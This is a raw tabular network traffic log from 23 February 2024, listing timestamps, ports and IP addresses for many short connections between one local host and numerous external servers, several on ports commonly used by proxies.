Feb 23, 2024 14:28:23.680665970 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.680707932 CET	51058	3128	192.168.2.8	150.136.4.250
Feb 23, 2024 14:28:23.680797100 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.681102037 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.681292057 CET	3128	50498	188.87.137.45	192.168.2.8
Feb 23, 2024 14:28:23.681302071 CET	80	50519	50.217.226.40	192.168.2.8
Feb 23, 2024 14:28:23.681313992 CET	80	50969	162.159.242.10	192.168.2.8
Feb 23, 2024 14:28:23.681358099 CET	35982	50212	138.197.92.110	192.168.2.8
Feb 23, 2024 14:28:23.681385040 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.681404114 CET	53299	49768	178.128.82.105	192.168.2.8
Feb 23, 2024 14:28:23.681435108 CET	50212	35982	192.168.2.8	138.197.92.110
Feb 23, 2024 14:28:23.681437969 CET	50969	80	192.168.2.8	162.159.242.10
Feb 23, 2024 14:28:23.681456089 CET	14133	50554	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.681478024 CET	49768	53299	192.168.2.8	178.128.82.105
Feb 23, 2024 14:28:23.681566954 CET	50969	80	192.168.2.8	162.159.242.10
Feb 23, 2024 14:28:23.681654930 CET	32988	50971	167.172.159.43	192.168.2.8
Feb 23, 2024 14:28:23.681735039 CET	50971	32988	192.168.2.8	167.172.159.43
Feb 23, 2024 14:28:23.681735039 CET	50212	35982	192.168.2.8	138.197.92.110
Feb 23, 2024 14:28:23.682029009 CET	50971	32988	192.168.2.8	167.172.159.43
Feb 23, 2024 14:28:23.682109118 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.682121992 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.682202101 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.682240963 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.682334900 CET	51059	1209	192.168.2.8	64.202.184.129
Feb 23, 2024 14:28:23.682677031 CET	80	50374	192.210.148.89	192.168.2.8
Feb 23, 2024 14:28:23.682704926 CET	25431	50968	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.683162928 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.683238029 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.683343887 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.683809042 CET	51060	36457	192.168.2.8	5.42.74.179
Feb 23, 2024 14:28:23.684323072 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.684436083 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.684556961 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.685089111 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.685112953 CET	51061	19655	192.168.2.8	161.97.147.193
Feb 23, 2024 14:28:23.685121059 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.685148001 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.685225964 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.685273886 CET	65149	50060	67.213.210.118	192.168.2.8
Feb 23, 2024 14:28:23.685492992 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.685549021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.685606003 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.685614109 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.685657024 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.685692072 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.685714960 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.685792923 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.685815096 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.685858965 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.685899019 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.685977936 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.685986996 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.686075926 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.686105967 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.686163902 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.686222076 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.686990976 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.687057018 CET	51062	8080	192.168.2.8	138.121.61.81
Feb 23, 2024 14:28:23.687058926 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.687144995 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.687158108 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.687227011 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.687242031 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.687597036 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.687840939 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.688075066 CET	51063	59230	192.168.2.8	92.205.107.159
Feb 23, 2024 14:28:23.688699961 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.688844919 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.689246893 CET	51064	80	192.168.2.8	50.230.222.202
Feb 23, 2024 14:28:23.689306974 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.689387083 CET	3128	50863	168.138.21.250	192.168.2.8
Feb 23, 2024 14:28:23.689460039 CET	50863	3128	192.168.2.8	168.138.21.250
Feb 23, 2024 14:28:23.689466953 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.689515114 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.689563036 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.689590931 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.689657927 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.689753056 CET	50863	3128	192.168.2.8	168.138.21.250
Feb 23, 2024 14:28:23.689753056 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.689770937 CET	3128	49740	79.132.192.13	192.168.2.8
Feb 23, 2024 14:28:23.689820051 CET	80	50964	50.174.145.10	192.168.2.8
Feb 23, 2024 14:28:23.689866066 CET	8089	50821	125.87.90.216	192.168.2.8
Feb 23, 2024 14:28:23.689910889 CET	49740	3128	192.168.2.8	79.132.192.13
Feb 23, 2024 14:28:23.690006971 CET	50821	8089	192.168.2.8	125.87.90.216
Feb 23, 2024 14:28:23.690109015 CET	50821	8089	192.168.2.8	125.87.90.216
Feb 23, 2024 14:28:23.690198898 CET	49740	3128	192.168.2.8	79.132.192.13
Feb 23, 2024 14:28:23.690642118 CET	45698	49900	5.183.179.117	192.168.2.8
Feb 23, 2024 14:28:23.690830946 CET	51065	8888	192.168.2.8	149.28.75.112
Feb 23, 2024 14:28:23.691745996 CET	51066	18113	192.168.2.8	188.166.99.171
Feb 23, 2024 14:28:23.691850901 CET	80	50315	58.234.116.197	192.168.2.8
Feb 23, 2024 14:28:23.692001104 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692059994 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692142963 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.692162991 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692245960 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692341089 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692373991 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.692394972 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692533016 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692605972 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.692620039 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692691088 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.692725897 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.693072081 CET	51067	8000	192.168.2.8	103.217.216.66
Feb 23, 2024 14:28:23.694086075 CET	51068	1475	192.168.2.8	72.10.160.173
Feb 23, 2024 14:28:23.694262981 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.694344997 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.694360018 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.694510937 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.694572926 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.694593906 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.694670916 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.694700003 CET	50836	80	192.168.2.8	134.122.26.11
Feb 23, 2024 14:28:23.694710970 CET	8088	50865	47.243.177.210	192.168.2.8
Feb 23, 2024 14:28:23.694720984 CET	50548	3128	192.168.2.8	94.250.250.154
Feb 23, 2024 14:28:23.694720984 CET	50600	3283	192.168.2.8	72.10.160.173
Feb 23, 2024 14:28:23.694746971 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.694746971 CET	50115	55919	192.168.2.8	45.79.191.205
Feb 23, 2024 14:28:23.694756031 CET	50503	3128	192.168.2.8	189.10.103.98
Feb 23, 2024 14:28:23.694756031 CET	4145	50934	174.75.211.222	192.168.2.8
Feb 23, 2024 14:28:23.694756985 CET	50592	80	192.168.2.8	50.174.145.9
Feb 23, 2024 14:28:23.694756985 CET	49782	3129	192.168.2.8	116.130.233.22
Feb 23, 2024 14:28:23.694869041 CET	50865	8088	192.168.2.8	47.243.177.210
Feb 23, 2024 14:28:23.695003986 CET	50934	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:23.695199966 CET	50865	8088	192.168.2.8	47.243.177.210
Feb 23, 2024 14:28:23.695202112 CET	50934	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:23.695591927 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.695884943 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.695890903 CET	51069	5566	192.168.2.8	195.201.246.166
Feb 23, 2024 14:28:23.695987940 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.696003914 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.696094990 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.696108103 CET	4145	50097	58.240.192.158	192.168.2.8
Feb 23, 2024 14:28:23.696228981 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.696288109 CET	80	50025	50.174.7.153	192.168.2.8
Feb 23, 2024 14:28:23.696487904 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.696557999 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.696609974 CET	8459	50026	72.10.160.171	192.168.2.8
Feb 23, 2024 14:28:23.696695089 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.696715117 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.697029114 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.697107077 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.697124004 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.697144985 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.697247982 CET	80	50924	104.22.14.48	192.168.2.8
Feb 23, 2024 14:28:23.697309017 CET	4145	50993	184.178.172.11	192.168.2.8
Feb 23, 2024 14:28:23.697323084 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.697400093 CET	80	50924	104.22.14.48	192.168.2.8
Feb 23, 2024 14:28:23.697407007 CET	50993	4145	192.168.2.8	184.178.172.11
Feb 23, 2024 14:28:23.697432041 CET	80	50924	104.22.14.48	192.168.2.8
Feb 23, 2024 14:28:23.697815895 CET	50924	80	192.168.2.8	104.22.14.48
Feb 23, 2024 14:28:23.697815895 CET	50924	80	192.168.2.8	104.22.14.48
Feb 23, 2024 14:28:23.699937105 CET	80	49926	50.222.245.46	192.168.2.8
Feb 23, 2024 14:28:23.700426102 CET	80	50997	172.67.181.37	192.168.2.8
Feb 23, 2024 14:28:23.700586081 CET	50997	80	192.168.2.8	172.67.181.37
Feb 23, 2024 14:28:23.700639009 CET	50997	80	192.168.2.8	172.67.181.37
Feb 23, 2024 14:28:23.701404095 CET	80	50479	50.168.163.181	192.168.2.8
Feb 23, 2024 14:28:23.702126980 CET	50847	50389	162.19.7.50	192.168.2.8
Feb 23, 2024 14:28:23.705883980 CET	80	50959	50.173.140.145	192.168.2.8
Feb 23, 2024 14:28:23.707933903 CET	80	50417	18.133.16.21	192.168.2.8
Feb 23, 2024 14:28:23.709001064 CET	5369	50999	72.10.160.171	192.168.2.8
Feb 23, 2024 14:28:23.710558891 CET	50547	8181	192.168.2.8	188.235.0.207
Feb 23, 2024 14:28:23.710562944 CET	50589	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:23.710570097 CET	9997	50584	64.225.4.85	192.168.2.8
Feb 23, 2024 14:28:23.710593939 CET	50062	80	192.168.2.8	50.173.140.150
Feb 23, 2024 14:28:23.710597038 CET	49979	4635	192.168.2.8	93.115.25.139
Feb 23, 2024 14:28:23.710597038 CET	50611	5385	192.168.2.8	72.10.160.170
Feb 23, 2024 14:28:23.710597038 CET	50327	4145	192.168.2.8	103.35.108.198
Feb 23, 2024 14:28:23.710607052 CET	50612	7249	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.714855909 CET	2685	51005	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.715081930 CET	4145	50947	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.715138912 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.715264082 CET	50947	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.715452909 CET	4481	50507	50.231.0.43	192.168.2.8
Feb 23, 2024 14:28:23.715564966 CET	50947	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.715765953 CET	15303	50041	184.178.172.5	192.168.2.8
Feb 23, 2024 14:28:23.715817928 CET	9764	51013	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.715945005 CET	51013	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.716089964 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:23.716223001 CET	51013	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.716459990 CET	15303	50041	184.178.172.5	192.168.2.8
Feb 23, 2024 14:28:23.717314005 CET	27890	50316	185.198.58.47	192.168.2.8
Feb 23, 2024 14:28:23.717619896 CET	51070	15303	192.168.2.8	184.178.172.5
Feb 23, 2024 14:28:23.718837023 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.718967915 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.718981028 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719052076 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719089031 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719167948 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719178915 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719240904 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719294071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719455957 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719480038 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719489098 CET	5678	50161	119.92.71.123	192.168.2.8
Feb 23, 2024 14:28:23.719491959 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719496965 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719506025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719511986 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719558954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719571114 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719589949 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719650030 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719664097 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719671965 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719681025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719687939 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719707966 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719721079 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719736099 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719769955 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719786882 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719818115 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.719887972 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.719959974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720002890 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720031977 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720050097 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720101118 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720165014 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720216036 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720247984 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720300913 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720330954 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720340967 CET	51071	31337	192.168.2.8	201.159.103.97
Feb 23, 2024 14:28:23.720350981 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720421076 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720501900 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720501900 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720549107 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720577002 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720637083 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720649958 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720655918 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720660925 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720691919 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720716000 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720767021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720781088 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720788002 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720793962 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720808029 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.720931053 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720947027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.720971107 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721000910 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721021891 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721040964 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721044064 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721093893 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721101999 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721165895 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721200943 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721246004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721302986 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721316099 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721355915 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721360922 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721436977 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721492052 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721499920 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721520901 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721550941 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721590042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721605062 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721611023 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721616983 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721647024 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721682072 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721704006 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721745014 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721761942 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721762896 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721806049 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721860886 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721868038 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721880913 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721894026 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721898079 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721939087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.721940994 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.721975088 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722029924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722038984 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722055912 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722074986 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722095966 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722100973 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722124100 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722145081 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722160101 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722198963 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722202063 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722208977 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722217083 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722265959 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722279072 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722290993 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722320080 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722327948 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722332001 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722390890 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722425938 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722459078 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722464085 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722538948 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722542048 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722582102 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722609997 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722631931 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722645998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722667933 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722673893 CET	5032	50815	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.722675085 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722712040 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722718000 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722737074 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722795010 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722809076 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722826004 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722855091 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722862005 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722881079 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722884893 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722914934 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722937107 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722945929 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.722964048 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.722995996 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723025084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723038912 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723061085 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723062992 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.723093033 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.723100901 CET	4228	50048	5.161.219.13	192.168.2.8
